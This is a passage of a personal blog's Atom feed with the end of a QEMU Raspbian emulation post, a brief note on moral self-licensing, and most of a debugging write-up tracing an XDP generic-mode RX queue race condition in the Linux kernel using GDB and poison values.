&lt;span class="nv"&gt;old_desc_blocks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;new_desc_blocks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
The&lt;span class="w"&gt; &lt;/span&gt;filesystem&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;/dev/vda2&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;now&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;649216&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;4k&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;blocks&lt;span class="w"&gt; &lt;/span&gt;long.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;p&gt;This tutorial setups a &lt;a href="https://azeria-labs.com/emulate-raspberry-pi-with-qemu/"&gt;Raspbian Jessie in Qemu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I adapted the steps to use a modern Raspbian Buster image.&lt;/p&gt;
&lt;p&gt;The tutorial is super complete and includes how to enlarge the disk and setup the network.&lt;/p&gt;
&lt;p&gt;But for the enlarge the disk part, this &lt;a href="https://gist.github.com/larsks/3933980"&gt;gist&lt;/a&gt; explains the thing a little better.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/bradfitz/embiggen-disk"&gt;embiggen-disk&lt;/a&gt; seems to be a tool to facilite the task.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/12/15/Qemulating-Rasbian-ARM.html" rel="alternate" type="text/html" title="QEMUlating a Rasbian (ARM)"/>
    <category term="qemu" label="qemu"/>
    <category term="ARM" label="ARM"/>
    <category term="Rasbian" label="Rasbian"/>
    <published>2020-12-15T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/12/05/Self-Licensing.html</id>
    <title>Self-Licensing</title>
    <updated>2020-12-05T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;!--more--&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;img  class='fullwidth' alt='' src='/img/sociology/self-licensing-whole.png' /&gt;
&lt;figcaption&gt;
Doing good things has a “moral boost” on the self-concept, then a person subconsciously get “self-indulgent” and makes permissive in the future to do bad actions.
&lt;br /&gt;&lt;br /&gt;
The person no necessary needs to do the good action to have the “moral boost”: she can commit to do it in the future and that is enough to have the boost.
&lt;br /&gt;&lt;br /&gt;
Even the person does not need to do anything. The boost can be transferred from a group that the person identify herself as belonging to.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/12/05/Self-Licensing.html" rel="alternate" type="text/html" title="Self-Licensing"/>
    <category term="psychology" label="psychology"/>
    <published>2020-12-05T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/11/29/RC-on-XDP-RX-Queue.html</id>
    <title>RC-on-XDP-RX-Queue</title>
    <updated>2020-11-29T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Picture this: you’d been developing for six months a network sniffer using XDP, a kernel &lt;em&gt;in-pass&lt;/em&gt; in Linux.&lt;/p&gt;
&lt;p&gt;Six months and when you are about to release it, you find not one but three bugs that shake all your understanding of XDP.&lt;/p&gt;
&lt;p&gt;A debugging race against the clock begins.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;We were hitting three issues in a row:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RX queue returns addresses with the incorrect offset&lt;/li&gt;
&lt;li&gt;More packets hold by the application than possible&lt;/li&gt;
&lt;li&gt;Pointer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of them at random times but very often.&lt;/p&gt;
&lt;h2 id="xdp-rx-queue"&gt;XDP RX queue&lt;/h2&gt;
&lt;p&gt;The XDP RX queue is a lock free single-producer, single-consumer queue where the kernel plays the role of the producer and the user application the consumer.&lt;/p&gt;
&lt;p&gt;The kernel pushes addresses (offsets respect the UMEM’s base address) into the queue that points to the received packets.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;pop&lt;/em&gt; has three parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the user application calls &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xsk_ring_cons__peek&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to know how many packets are ready to be consumed.&lt;/li&gt;
&lt;li&gt;then, for each one a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xsk_ring_cons__rx_desc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to get the packet’s descriptor and therefore, its address (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; field)&lt;/li&gt;
&lt;li&gt;and finally a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xsk_ring_cons__release&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to mark the descriptors free to be reused by the producer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is no need to &lt;em&gt;process&lt;/em&gt; the packets before &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xsk_ring_cons__release&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: releasing the packets’ descriptors of the RX does not make the UMEM’s frames holding the packets free to be reused.&lt;/p&gt;
&lt;p&gt;Only when the packets’ addresses are pushed into the fill queue (FQ) the frames are available again.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Addresses of free frames are consumed from the FQ queue by the kernel (1). XDP then writes the incoming packet in a free frame (2) and pushes the address into the RX queue (3). The user application consumes from the RX queue (4) addresses of packets ready to be read or write (5). When it is done, the address is pushed back to the FQ for reuse (6).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 80%;" class='' alt='' src='/img/debug/xdp-rx-rc/rx-rc-umem-cycle.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The packet descriptor returned by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xsk_ring_cons__rx_desc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has two attributes: the packet’s address and its length.&lt;/p&gt;
&lt;p&gt;The address is an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; offset respect the UMEM’s base address.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZWJ1Zy94ZHAtcngtcmMvcngtcmMtZnJhbWUucG5nJyAvPm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZWJ1Zy94ZHAtcngtcmMvcngtcmMtZnJhbWUucG5nJyAvPm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/debug/xdp-rx-rc/rx-rc-frame.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The UMEM is a memory pool divided evenly by 2048 or 4096 bytes, the frame size and addresses are aligned to the frame size plus an offset for a headroom.&lt;/p&gt;
&lt;p&gt;The headroom is an application defined space reserved at the begin of the frame for whatever the user wants to do. By default it’s zero.&lt;/p&gt;
&lt;p&gt;Well, for some reason the RX queue was returning sometimes addresses with the wrong offset.&lt;/p&gt;
&lt;h2 id="more-than-possible"&gt;More than possible&lt;/h2&gt;
&lt;p&gt;The UMEM is a fixed memory pool divided evenly in frames where each frame holds a packet.&lt;/p&gt;
&lt;p&gt;Therefore the count of packets that the application can hold before releasing them is fixed (UMEM size / frame size).&lt;/p&gt;
&lt;p&gt;At anytime the count is less than or equal to UMEM size / frame size.&lt;/p&gt;
&lt;p&gt;However the counters of the application shown a different thing: more packets where entering in the application and were hold before releasing them than the expected!&lt;/p&gt;
&lt;h2 id="pointer-to-null"&gt;Pointer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;As mentioned before you can prepend metadata to each packet.&lt;/p&gt;
&lt;p&gt;In our case, one of the attributes is a pointer to an external structure and the pointer is never updated again. Remains constant.&lt;/p&gt;
&lt;p&gt;But to our surprise the pointer changes and leaves pointing to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And the code is extraordinary simple and straightforward so there is no chances to change the pointer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by an error in the logic.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;do_work&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;pkt_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_packet&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// pull from the RX queue&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;external_object&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// not NULL&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* moments later */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// segmentation fault, pkt-&amp;gt;obj is NULL&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;free_packet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// push into the FQ queue&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;No chances.&lt;/p&gt;
&lt;h2 id="debugging"&gt;Debugging&lt;/h2&gt;
&lt;p&gt;So far we have three unrelated bugs. While possible, it is unlikely that we are dealing with three &lt;em&gt;independent&lt;/em&gt; bugs.&lt;/p&gt;
&lt;p&gt;They must be related somehow.&lt;/p&gt;
&lt;p&gt;Let’s spin a debugger.&lt;/p&gt;
&lt;h3 id="counting-before-a-crash"&gt;Counting before a crash&lt;/h3&gt;
&lt;p&gt;How many packets were pulled from the RX queue before getting one crash.&lt;/p&gt;
&lt;pre class="gdb"&gt;&lt;code&gt;(gdb) b read_packet
(gdb) ignore 1 1000000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the bug is detected, GDB will stop and we’ll have the chance to see how many times the breakpoint was hit before.&lt;/p&gt;
&lt;pre class="gdb"&gt;&lt;code&gt;(gdb) info break
&amp;lt;...&amp;gt;breakpoint already hit 29 times&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Would this change in function of the UMEM size? Larger UMEMs has more frames.&lt;/p&gt;
&lt;p&gt;These are the results:&lt;/p&gt;
&lt;pre class="gdb"&gt;&lt;code&gt;// Minimum size, UMEM can hold 1 frame only
breakpoint already hit 29 times
breakpoint already hit 19 times
breakpoint already hit 23 times

// Slightly larger UMEM, it can hold 16 frames
breakpoint already hit 69 times
breakpoint already hit 43 times
breakpoint already hit 50 times

// 64 frames
breakpoint already hit 111 times
breakpoint already hit 69 times
breakpoint already hit 126 times

// 256 frames
breakpoint already hit 348 times
breakpoint already hit 324 times
breakpoint already hit 1 time&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, with larger UMEMs is less likely to hit the bug but it is not a hard rule. In the last test, with the largest UMEM, we hit the bug in the first try.&lt;/p&gt;
&lt;h3 id="spontaneous-addresses"&gt;Spontaneous addresses&lt;/h3&gt;
&lt;p&gt;What about the addresses returned by the RX queue? We want to print them without stopping the process.&lt;/p&gt;
&lt;pre class="gdb"&gt;&lt;code&gt;(gdb) b do_work.c:16     // after the call to read_packet()
(gdb) commands
&amp;gt; silent
&amp;gt; p pkt - umem-&amp;gt;base
&amp;gt; cont
&amp;gt; end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The segmentation fault due the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pointer happen even when the addresses had the correct offsets (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;umem&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frame_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;headroom_size&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;For the ones with incorrect offset, the address most common was the 0 (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;umem&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I hypothesized that I could be putting the address 0 by mistake in the FQ. Further testing shown that the 0 was never put in FQ but still being received in the RX queue.&lt;/p&gt;
&lt;p&gt;So the RX queue was returning addresses that I never put in the FQ. Those are new addresses!&lt;/p&gt;
&lt;p&gt;That explains the issue number 2: the application having more packets than it should.&lt;/p&gt;
&lt;p&gt;Later, I found that 0 was not the only addresses with an incorrect offset (issue number 1).&lt;/p&gt;
&lt;h3 id="poison-values"&gt;Poison values&lt;/h3&gt;
&lt;p&gt;Let’s print the packets as soon as they are read and the external object is set:&lt;/p&gt;
&lt;pre class="gdb"&gt;&lt;code&gt;(gdb) set print pretty on

(gdb) b do_work.c:19     // after the call to external_object()
(gdb) commands
&amp;gt; silent
&amp;gt; p *pkt
&amp;gt; cont
&amp;gt; end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last packet printed before the segmentation fault (issue 3) was something like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  timestamp = 121212121,
  length = 60,
  data = 0xsomeaddress
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And after the crash, the same packet looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  timestamp = 0,
  length = 60,
  data = 0x0
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; where zero’d. Was this done by the application or something else happen?&lt;/p&gt;
&lt;p&gt;Perhaps a rouge &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;The fields are initialized to zero by the eBPF filter and overwritten by the application.&lt;/p&gt;
&lt;p&gt;I decided to set them to non-trivial values, called &lt;em&gt;poison values&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; zero’d them, I will notice.&lt;/p&gt;
&lt;p&gt;This is the packet &lt;strong&gt;after&lt;/strong&gt; the crash:&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYGdkYgooZ2RiKSBwL3ggcGt0LT50aW1lc3RhbXAKMHhkZWFkCmBgYAoKSWYgeW91IGRpZG4ndCByZWFsaXplLCB0aGUgdGltZXN0YW1wIHdhcyBub3QgemVybydkIGVpdGhlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYGdkYgooZ2RiKSBwL3ggcGt0LT50aW1lc3RhbXAKMHhkZWFkCmBgYAoKSWYgeW91IGRpZG4ndCByZWFsaXplLCB0aGUgdGltZXN0YW1wIHdhcyBub3QgemVybydkIGVpdGhlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code class="gdb" data-cssclass="highlight-candombe" data-wrap-with-pseudo-pre="pseudo-pre"&gt;(gdb) p/x pkt-&amp;gt;timestamp
0xdead&lt;/code&gt;
&lt;br /&gt;&lt;br /&gt;
If you didn’t realize, the timestamp was not zero’d either.
&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  timestamp = 57005,
  length = 60,
  data = 0xbeaf
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the whole structure was &lt;em&gt;not zero’d but reset&lt;/em&gt;, overwritten by the eBPF filter when the packet was supposed to be managed by user.&lt;/p&gt;
&lt;p&gt;The three bugs are symptoms of the same unknown problem: the RX queue is returning invalid addresses, not only without the expected offset but addresses that belong to packets that the kernel still thinks that are free.&lt;/p&gt;
&lt;h2 id="the-real-bug"&gt;The real bug&lt;/h2&gt;
&lt;p&gt;Something was wrong in the RX queue / kernel side so we started to search this issue in the web.&lt;/p&gt;
&lt;p&gt;A college of mine found a candidate: the fix of a race condition in the generic receive path.&lt;/p&gt;
&lt;p&gt;eBPF runs in the driver if this one supports it. If not, eBPF is executed in the kernel and the packets take a slightly larger path from the network card to user.&lt;/p&gt;
&lt;p&gt;This path is known as the XDP generic path or just XDP generic.&lt;/p&gt;
&lt;p&gt;Remember than the RX is a single-producer queue so it is not thread safe for concurrent pushes.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiAxMjAlOyIgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZWJ1Zy94ZHAtcngtcmMvcngtcmMtcXVldWVzLnBuZycgLz5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyBzdHlsZT0ibWF4LXdpZHRoOiAxMjAlOyIgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9kZWJ1Zy94ZHAtcngtcmMvcngtcmMtcXVldWVzLnBuZycgLz5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img style="max-width: 120%;" class='fullwidth' alt='' src='/img/debug/xdp-rx-rc/rx-rc-queues.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;No problem when XDP runs in the driver but when it does in the generic mode, the kernel may be receiving several packets and pushing them &lt;strong&gt;concurrently&lt;/strong&gt; into the RX queue.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Unlike driver mode, generic xdp receive could be triggered by different threads on different CPU cores at the same time leading to the fill and rx queue breakage. For example, this could happen while sending packets from two processes to the first interface of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;veth&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; pair while the second part of it is open with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;AF_XDP&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; socket.&lt;/p&gt;
&lt;p&gt;Need to take a lock for each generic receive to avoid race.” &lt;cite class="epigraph"&gt;&lt;a href="https://github.com/torvalds/linux/commit/bf0bdd1343efbbf65b4d53aef1fce14acbd79d50"&gt;commit bf0bdd13&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The commit fixes the issue using a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but the fix was not backported.&lt;/p&gt;
&lt;p&gt;And doing a kernel upgrade is &lt;strong&gt;not an option&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="single-queue"&gt;Single queue&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClRoZSBhcnRpY2xlCltNb25pdG9yaW5nIGFuZCBUdW5pbmcgdGhlIExpbnV4IE5ldHdvcmtpbmcgU3RhY2s6IFJlY2VpdmluZyBEYXRhXShodHRwczovL2Jsb2cucGFja2FnZWNsb3VkLmlvL2VuZy8yMDE2LzA2LzIyL21vbml0b3JpbmctdHVuaW5nLWxpbnV4LW5ldHdvcmtpbmctc3RhY2stcmVjZWl2aW5nLWRhdGEvKQpleHBsYWlucyB0aGlzIHdvbmRlcmZ1bGx5LgoKRGVzcGl0ZSB0aGUgbmFtZSwgdGhlIGFydGljdWxlIGRlc2NyaWJlcyBhbGwgdGhlIG5ldHdvcmsgc3RhY2sgZnJvbSB0aGUKZHJpdmVyIHRvIGEgVENQL1VEUCBzb2NrZXQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBhcnRpY2xlCltNb25pdG9yaW5nIGFuZCBUdW5pbmcgdGhlIExpbnV4IE5ldHdvcmtpbmcgU3RhY2s6IFJlY2VpdmluZyBEYXRhXShodHRwczovL2Jsb2cucGFja2FnZWNsb3VkLmlvL2VuZy8yMDE2LzA2LzIyL21vbml0b3JpbmctdHVuaW5nLWxpbnV4LW5ldHdvcmtpbmctc3RhY2stcmVjZWl2aW5nLWRhdGEvKQpleHBsYWlucyB0aGlzIHdvbmRlcmZ1bGx5LgoKRGVzcGl0ZSB0aGUgbmFtZSwgdGhlIGFydGljdWxlIGRlc2NyaWJlcyBhbGwgdGhlIG5ldHdvcmsgc3RhY2sgZnJvbSB0aGUKZHJpdmVyIHRvIGEgVENQL1VEUCBzb2NrZXQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The article &lt;a href="https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/"&gt;Monitoring and Tuning the Linux Networking Stack: Receiving Data&lt;/a&gt; explains this wonderfully.
&lt;br /&gt;&lt;br /&gt;
Despite the name, the articule describes all the network stack from the driver to a TCP/UDP socket.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Once a packet is received by the network card a interruption is signaled. The interruption runs briefly and delegates the rest of the processing to a kernel thread named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ksoftirqd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The packet is put by the interruption into a queue to be consumed by a &lt;strong&gt;single&lt;/strong&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ksoftirqd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; thread.&lt;/p&gt;
&lt;p&gt;How the kernel can process multiple packet in parallel?&lt;/p&gt;
&lt;p&gt;With multiple queues of course!&lt;/p&gt;
&lt;p&gt;If we cannot upgrade the kernel we must enforce a single producer thread in the kernel side.&lt;/p&gt;
&lt;p&gt;Configuring the interface to use a &lt;strong&gt;single&lt;/strong&gt; RX queue the kernel will use a &lt;strong&gt;single&lt;/strong&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ksoftirqd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; thread, a single-producer.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRyeSBgc3VkbyBldGh0b29sIC1MIDxpZmFjZT4gY29tYmluZWQgMWAgaWYgdGhlIG90aGVyIGRvZXMgbm90IHdvcmsuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRyeSBgc3VkbyBldGh0b29sIC1MIDxpZmFjZT4gY29tYmluZWQgMWAgaWYgdGhlIG90aGVyIGRvZXMgbm90IHdvcmsuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
